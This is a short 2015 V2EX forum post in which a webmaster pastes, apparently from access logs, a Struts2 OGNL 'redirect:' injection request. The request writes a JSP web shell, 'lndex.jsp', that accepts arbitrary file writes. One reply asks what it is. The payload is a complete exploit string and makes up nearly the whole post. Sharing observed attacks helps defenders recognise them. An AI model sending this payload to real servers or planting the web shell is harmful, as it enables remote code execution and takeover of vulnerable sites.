V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
zhaiduo
V2EX  ›  站长

Java 躺枪

  •  
  •   zhaiduo · 2015-07-12 23:55:44 +08:00 · 4996 次点击
    这是一个创建于 3418 天前的主题,其中的信息可能已经有所发展或是发生改变。

    /index.php?redirect:${#req=#context.get('com.opensymphony.xwork2.dispa Match1:{#req=#context.get('com.opensymphony.xwork2.dispatcher.httpservletrequest'),#res=#context.get('com.opensymphony.xwork2.dispatcher.httpservletresponse'),#res.getwriter().println(.okokok.),#res.getwriter().flush(),#res.getwriter().close(),new java.io.bufferedwriter(new java.io.filewriter(#req.getrealpath(./.)+.lndex.jsp.)).append(#req.getparameter(.shell.)).close()}&shell=<%if(request.getparameter(.f.)!=null)(new java.io.fileoutputstream(application.getrealpath(./.)+request.getparameter(.f.))).write(request.getparameter(.t.).getbytes());%><a href=.one_ok.></a> Match2:&redirect:${#req=#context.get('com.opensymphony.xwork2.dispatcher.httpservletrequest'),#res=#context.get('com.opensymphony.xwork2.dispatcher.httpservletresponse'),#res.getwriter().println(.okokok.),#res.getwriter().flush(),#res.getwriter().close(),new java.io.bufferedwriter(new java.io.filewriter(#req.getrealpath(./.)+.lndex.jsp.)).append(#req.getparameter(.shell.)).close()}&shell=<%if(request.getparameter(.f.)!=null)(new java.io.fileoutputstream(application.getrealpath(./.)+request.getparameter(.f.))).write(request.getparameter(.t.).getbytes());%><a href=.one_ok.></a>

    1 条回复    2015-07-13 08:51:01 +08:00
    unique
        1
    unique  
       2015-07-13 08:51:01 +08:00 via Android
    这是什么鬼
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   3145 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 110ms · UTC 13:36 · PVG 21:36 · LAX 05:36 · JFK 08:36
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.